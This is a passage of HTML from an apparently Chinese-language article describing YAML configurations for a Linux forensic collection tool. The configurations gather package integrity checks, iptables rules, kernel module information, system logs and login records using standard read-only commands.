url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;LinuxIntegrity&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Linux 平台上软件以及配置文件完整性检查。\nubuntu 平台会使用 debsums ，redhat 系会使用 rpm。&#34;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;rpm&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-Va&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;debsums&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;--all&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;--changed&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">Linux 平台上软件程序以及配置文件的完整性检查。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">需要注意：</span></strong><span leaf=""> 默认 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">Debian</span></code><span leaf=""> 系的系统可能默认没有安装 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">debsums</span></code><span leaf=""> 程序，只有安装后配置才有效；</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">redhat</span></code><span leaf=""> 系一般会带有 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">rpm</span></code><span leaf=""> ，但还是建议先检查一下</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">Iptables.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;LinuxIptables&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux 平台上 iptables 可能被用于端口复用等权限维持&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;iptables&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-L&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Linux 平台上 Iptables 规则信息，主要用于检查是否存在恶意的端口复用情况。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">KernalModule.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">LinuxKernalMod</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Linux</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">平台上内核平台配置、已加载内核模块、报错日志收集。</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">NOPTeam</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.1</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Linux</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">zgrep</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">CONFIG_MODULE_SIG</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">/boot/config-$(uname</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">-r)</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;|&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">grep</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-v&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#34;^#&#34;&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Linux</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">lsmod</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">[]</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Linux</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">dmesg</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;|&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">grep</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-i&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#34;taint&#34;&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">FILE</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Linux</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">/var/log/kern.log</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">/var/log/syslog</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Linux 平台上关于内核模块相关的信息，检查内核模块加载规则配置以及相关日志。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">Log.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;LinuxLog&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux 平台上日志文件收集&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;PATH&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/var/log/&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Linux 平台上的日志信息。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">需要注意：</span></strong><span leaf=""> Linux 平台上的日志信息可能很大，可以使用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">sudo du -sh /var/log</span></code><span leaf=""> 等方法先判断一下大小，之后选择是否加载该配置文件。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">Login.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">LinuxLogin</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Linux</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">登录相关信息</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">NOPTeam</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.1</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Linux</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">w</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">[]</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Linux</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">who</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">[]</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Linux</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">last</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-awF&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Linux</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">users</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">[]</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Linux</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">lastlog</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">[]</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Linux</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">lslogins</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">[]</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">urls:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf=""><a href="https://www.jianshu.com/p/05926453654c" target="_blank">https://www.jianshu.com/p/05926453654c</a></span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Linux 平台登录相关信息。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span 